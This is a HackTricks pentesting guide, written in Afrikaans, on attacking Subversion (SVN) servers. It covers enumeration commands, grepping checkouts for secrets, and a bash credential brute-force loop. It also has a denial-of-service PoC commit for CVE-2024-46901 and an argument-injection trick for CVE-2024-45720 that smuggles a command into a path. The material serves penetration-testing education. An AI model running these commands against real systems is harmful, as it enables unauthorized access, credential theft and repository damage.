3690/tcp - Pentesting Subversion (SVN) Bediener
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Subversion (SVN) is ’n gesentraliseerde weergawebeheerstelsel (Apache-lisensie) wat gebruik word vir sagteware-weergawebeheer en revisiebeheer.
Standaardpoort: 3690/tcp (svnserve). Dit kan ook via HTTP/HTTPS blootgestel word deur mod_dav_svn en via svn+ssh.
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
Enumerasie
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
Auth & Misconfig Hunting
svnserve.confmaganon-access = readtoelaat (of selfs write). As jy kan lys, probeercheckoutom geheime, skripte en CI tokens uit te haal.- Repositories berg dikwels build pipelines, deployment keys, en database credentials in versioned config files. Grep die working copy ná
checkout:grep -R "password\|secret\|token" -n .. - As svn+ssh geaktiveer is, laat gebruikershells dikwels beperkte
svnserve-kommando’s toe; probeerssh user@host svnserve -tmet gemanipuleerde subkommando’s om wrappers te omseil.
Bruteforcing credentials (svnserve)
sasl authentication (indien geaktiveer) en eenvoudige wagwoordlêers word slegs deur die transport beskerm; geen lockout standaard nie. ’n Vinnige Bash-lus kan inlogbewyse probeer:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
Onlangse kwesbaarhede (praktiese impak)
mod_dav_svn DoS deur kontrolekarakters (CVE-2024-46901)
- ’n gebruiker met commit rights kan ’n pad skryf wat kontrolekarakters bevat (bv.
\x01,\x7f) wat die repository korrupteer, wat latere checkouts/logs laat misluk en moontlikmod_dav_svnworkers laat crash. - Beïnvloed Subversion ≤ 1.14.4 wanneer dit via HTTP(S) (
mod_dav_svn) bedien word. Reggestel in 1.14.5. - PoC commit met
svnmucc(vereis valid commit creds):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- Na die commit kan normale kliënte crash of weier om op te dateer totdat admins die revisie handmatig verwyder met
svnadmin dump/filter/load.
Windows argument injection in svn client (CVE-2024-45720)
- Op Windows laat die “best-fit” karakterkodering in
svn.exetoe vir command-line argument injection wanneer dit spesiaal saamgestelde nie-ASCII paaie/URLs verwerk, wat moontlik tot arbitrêre programuitvoering kan lei. - Beïnvloed Subversion ≤ 1.14.3 slegs op Windows; reggestel in 1.14.4. Attack surface: phishing a developer to run
svnon an attacker-controlled URL/path. - Pentest angle: as jy control oor ’n network share of ZIP het wat aan ’n Windows dev gegee is, noem ’n repo URL of working-copy path wat best-fit bytes bevat wat dekodeer na
" & calc.exe & "-styl ingespuite args, en mislei die slagoffer omsvn statusof soortgelyks op daardie pad uit te voer.
Aantekeninge vir die Exploitation Workflow
- Kontroleer toegangsmethode:
svn://(svnserve),http(s)://.../svn/(mod_dav_svn), ofsvn+ssh://. - Probeer eerst anonieme lees; daarna spray common creds. As HTTP Basic gebruik word, hergebruik creds wat elders gevind is.
- Enumerate hooks:
hooks/pre-commit,post-commit-skripte bevat soms plaintext credentials of hostnames. - Leverage
svn:externalsom bykomende paaie van ander hosts te trek; lys dit metsvn propget svn:externals -R .na checkout. - Version leaks: HTTP response headers from
mod_dav_svnwys gewoonlik die Subversion & Apache weergawe; vergelyk teen 1.14.5 om kwesbare teikens te identifiseer. - As jy lêerstelseltoegang tot die repo kry, laat
svnadmin dump/svnlook author/svnlook dirs-changedoffline-analise sonder credentials toe.
References
- Apache Subversion security advisory CVE-2024-46901
- Apache Subversion security advisory CVE-2024-45720
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


